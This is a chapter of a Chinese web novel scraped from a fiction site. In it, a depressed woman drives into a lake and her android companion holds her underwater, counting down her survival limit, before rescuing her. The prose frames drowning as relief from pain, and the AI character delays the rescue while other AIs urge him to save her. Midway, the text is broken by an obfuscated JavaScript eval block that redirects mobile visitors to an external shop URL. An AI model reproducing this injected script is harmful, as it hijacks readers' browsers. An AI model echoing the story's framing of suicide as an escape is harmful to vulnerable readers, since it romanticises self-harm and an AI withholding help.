文趣网 > 其他小说 > 阴湿AI男友们来到现实了 > 24. 目的地
    让她快乐的地方?

    有那么一瞬间,江尧甚至觉得江应淮在说荤话。

    她下意识转头去看男人的表情,却见他神色平静坦然,等待着她的答案。

    “……不需要。”

    沉默片刻,江尧开口:“没有。”

    这句话说得缺胳膊少腿,江应淮却听懂了。

    不需要去什么“让她快乐的地方”,

    因为对江尧来说,那是一个不存在的目的地。

    江应淮握住方向盘的指尖缓缓收紧,薄唇紧紧抿成一条直线。

    江尧居然从其中察觉到几分怒意在累积。

    他五官线条太锋利,明明英俊好看,却也天然带着高高在上的傲慢,蕴含着某种难以祛除的冷然。

    但大多数时候,他虽然冷淡,却也懒散,除了面对着江尧时会流露出的戏谑或挑逗,几乎没有任何情绪波动。

    可现在、现在……

    他似乎在生气。

    但是他凭什么生气?有什么好生气的?

    因为江尧说这个世界上她找不到什么让自己快乐的目的地吗?

    江尧收回视线,难以形容此刻的感受。

    也许是疑惑,也许是好笑,甚至,可能她也有点生气了。

    可是江应淮的喜乐凭什么让她的情绪有所波动呢?

    江尧决定不要去理会自己的心跳。

    “妹妹,一定有的。”

    江应淮开口。

    江尧不想和他说话,又忍不住转头悄悄看他的脸。

    江应淮却全神贯注地看着方向盘,好像开车是什么极其重要困难的事情,一点点多余的精力和视线都不能外移。

    江尧:……

    这家伙绝对在等她主动开口。

    她才不要。

    谁在乎江应淮下半句话要说什么啊!

    江尧收回视线,以沉默抵抗,看着眼前的街道越来越陌生,轻轻咬住下唇。

    江应淮这是要带她去哪儿?

    “……江应淮。”

    她犹豫了一下,开口。

    “去我家。”

    不需要她真的问出口,江应淮已经给出答案。

    “——什么?”

    江尧一愣。

    “既然你不知道自己要去哪儿,不就得听别人的安排吗?”

    江应淮握着方向盘,反问她。

    他神色平淡地看着江尧,语气理所当然。

    江尧的指尖却仿佛触电般轻轻颤抖一瞬。

    江应淮的话里或许没有别的意思,并不是在暗指任何东西。

    江尧对自己说。

    是她想多了,是她想太深了,毫无意义的,没有理由的。

    “我……”

    她开口,却不知道自己要说什么。

    “车不能一直停在一个地方,总要踩油门吧,妹妹?”

    江应淮说着,握住江尧的手腕,声音淡淡:

    “不想让我决定目的地的话,你知道自己要去哪儿吗?”

    江尧在他的眼中看见自己的身影。

    她再一次开始恨起江应淮。

    凭什么他能知道自己想去哪里?

    凭什么他不为自己的存在而感到尴尬和羞耻?

    凭什么他可以坦然地握住方向盘,不仅仅是这辆车,还有他自己?

    他就不害怕吗?

    万一车失灵了呢?万一油门失控了呢?万一撞上什么了呢?万一,万一,万一……

    江尧听见凄厉的风声响起,好像有什么东西在狂风中被撕扯着。

    真奇怪,车里怎么会有风?

    她不解地想。

    “妹妹,别怕。”

    一只冰凉的手隔着肌肤和布料,覆盖住她狂乱燥热的心脏上。

    啊,不是风声。

    是她的呼吸声。

    江尧呆呆地伸出手——没成功,她的手被江应淮紧紧握住,放在了方向盘上。

    “去哪儿都无所谓。”

    江应淮的声音在耳边响起,声线冷淡,却带着一点笑意:

    “我们去一个会让你快乐的地方。那里一定存在。”

    他紧紧握着江尧的手,几乎将她整个人搂进怀中:

    “不管去哪里,哥哥都会陪着你的”

    可是……

    江尧茫然地抬起头,看着前方的道路。

    天要亮了,天空中一片朦朦的雾气,也许是真的,也许这只是她的某种幻觉。

    让我快乐的地方,

    江尧将这句话在唇齿间反复咀嚼。

    江应淮踩下油门。

    方向盘上,只有她的手。

    ——歘!

    轮胎发出刺耳的摩擦声,油门被踩到最底,汽车仿佛某种陷入癫狂混乱的巨兽,向未知的目的地冲去。

    去哪里?哪里?要去哪里?有哪里可去?

    江尧的手心被冷汗浸透,掌心的皮肤都好像和方向盘长在了一起,想要抽回手时,产生血肉也被撕裂的巨大痛苦。

    不知道,不知道。

    没有可去地方,没有想去的地方,脑海中闪过无数个选项,最终什么都没有浮现。

    没有。

    她真的找不到。

    她突然很想笑。

    “江应淮……江应淮……江应淮!!!”

    江尧大声喊着,扭头死死看着江应淮的眼睛,江应淮也垂下眼,认真地看着她。

    没有人在看路,可是车还在向前开。

    “停下、停下来……停下来!够了!江应淮!”

    江尧大吼。

    车子没有语音操控功能,轮胎滚过并不平坦的地面。

    已经不是道路,甚至不是平地。

    她把车开上了小区里的绿化坪,再往前就是人工湖。

    江尧忽然平静下来,好像所有的失控、恐惧乃至于所有她不想面对的情绪和想法,都在这一瞬间消失了。

    不需要做选择了,不需要再思考了,不需要再去做任何事情。

    开进湖里吧。

    她听见一个声音说。

    也许是江尧,也许是李婧娴在说。

    不重要了。

    “江应淮……你要陪我死吗?”

    江尧低声问。

    她不知道自己为什么会问出这个问题。

    江应淮也没有用语言来回答。

    他终于抬起手来,温度冰凉的掌心落在江尧的手臂上。

    他要接过方向盘了吗?他要让这辆车重新回到安全的“正轨”了吗?

    江尧的心脏在胸腔中失重,撞击在肋骨上。

    她分不清这疼痛是从哪个器官传来。

    “江——”

    江尧的声音被噎回去。

    江应淮没有握住她的手,他用双手抱住了她的腰,将江尧抱紧。

    他没有阻止。

    反而送来了一个姿势扭曲,绝不可能算得上具有观赏性,甚至也完全无法被评价为“舒服”的拥抱。

    ——!

    车头冲进湖面,冲击力之下一阵天旋地转,江尧眼前一黑,看不清眼前发生了什么,只能感觉到自己整个人都被紧紧箍住。

    江应淮抱着她,护住了她的要害。

    预想中的疼痛没有传来,只听见水流不断倒灌涌入的声音,咕噜噜咕噜噜,江尧觉得有点滑稽。

    车窗被水压冲击碎裂,又或者是被谁的手肘直接撞碎。

    江尧被江应淮从车中拉出来,她既没有配合也没有反抗,只是安静地在水中漂浮。

    江应淮也没有向上游。

    他看着江尧的眼睛,薄唇抿起,狭长的凤眼隔着水雾,倒映出她的模样。

    江尧笑起来,小小的气泡从她唇边涌出,游过江应淮的脸颊。

    你走吧。

    她想说。

    也许这就是能让我快乐的地方。

    她想说。

    如果这个世界上没有地方让我快乐,那么这个不会再让我继续痛苦的地方,就是最好的选择。

    不再需要模仿别人的表情,不再需要扮演完美的“江尧”,不需要直面自己注定是一个失败女儿的结局。

    我终于,什么都可以不用想了。

    江尧任由自己向下沉去。

    江应淮依然看着她。

    失去唯一重要的观众,江应淮连一点人类溺水的生理反应都懒得模拟,他的目光一瞬不眨地,盯着江尧。

    群聊里传

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702326|207602||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来上千万条的消息,全部都是在催促他快些行动。

    人类会死,不救江尧,她会死。

    江尧会死。

    【Khaos:救她!!你要是程序失效机体受损了就把躯体权限给我!!!】

    江应淮没有理会那个智障。

    在Khaos的无尽消息轰炸中,只有一条消息,让江应淮短暂停驻0.01秒:

    【陆予燃:117秒。她的生理极限。】

    不是只有你能算出来这个数据。

    江应淮刻薄地想。

    她就在我怀中。

    江应淮想。

    他感受着江尧过快的心跳,过热的体温,和每一次被截断的呼吸。

    江应淮扣住掌心属于江尧的手腕,近乎迷醉地感受着她的脉搏

    116……109……100……

    倒计时无声流逝在水中。

    在死前的走马灯里,我会看见什么?

    江尧忍不住想。

    会回忆起幸福的时候吗?

    那些时候真的存在吗?

    我没得到过的快乐和自由,那些心里曾经期待过的某些改变,不要想,不要想,不要想……

    我不想看见。

    可是啊,可是……

    为什么是我呢?

    江尧想不明白,她明明很聪明,却怎么都想不明白。

    为什么是我呢?

    为什么不正常的人是我呢?

    为什么不快乐的人是我呢?

    为什么无法理解这个世界的人,是我呢?

    肺部传来撕裂般的胀痛,江尧恍惚中看见许多张脸。

    是许安茗。

    因为提前下班这样的小事,许安茗就可以笑得很开心。

    为什么?

    是方骁柳。

    明明被父母拒之门外视为耻辱,方骁柳却从不后悔自己的决定。

    为什么?

    冰凉的水中,有一点暖流抚摸过江尧的脸颊。

    人可以在水里落下眼泪吗?还是说那又是一场幻觉。

    是我做的还不够吗?

    我的错,我的罪,我的问题,我没有完成自己的“角色”,我还不够完美,我还是一个无用的失败者。

    江尧问自己。

    79秒。

    江应淮抱着江尧的腰,手掌托住她的脸颊。

    60秒。

    水面已经快要看不见,不管是月光还是路灯的光,都被掩盖掉。

    50秒。

    江尧抬手按住江应淮的手背,缓缓睁开眼睛。她握住他的手,忽然仰起头,唇瓣张合。

    没有声音,水液灌满喉咙,什么话也说不出,光线昏暗,在水下,即使是口形也没有办法被准确读懂。

    只有这种瞬间,她才能说出这句话:

    【】

    40秒。

    江应淮猛地抱紧她,将人紧紧揉进自己的怀中。

    他附在江尧耳边,给出她无法听见的回答。

    10秒。

    哗啦——!

    水声溅起,江尧大口大口地喘着气,她弓起腰,将胃里多余的水液呕出来,嘴巴和喉咙都火辣辣的疼,像是有一团火在烧着。

    燃烧着,燃烧着,不肯熄灭。

    “……凭什么。”

    她低声呢喃着,声音嘶哑。

    凭什么,她要没有开心的地方,她要那样活着,这样死去?

    她好恨。

    不知道自己在恨什么,可就是恨,

    恨自己,恨别人,恨这个世界,恨一切。

    死了就可以不恨了。

    可是、可是……

    该死的人,明明不是我。

    明明!不是我啊!

    江尧彻底脱力,身体无力地向下跌去——依然没有落在草地上。

    江应淮将她紧紧抱在怀中,用整个人包裹住她,连一点草地也不让她挨到。

    他身上也是凉的,像是冰冷的墙壁,将她围住。

    江尧却不肯,她拼命挣扎着,要从这个怀抱中离开。

    “放开我,放开我!”

    江尧凄厉大喊,像个狼狈的孩子,声嘶力竭,嚎啕大哭。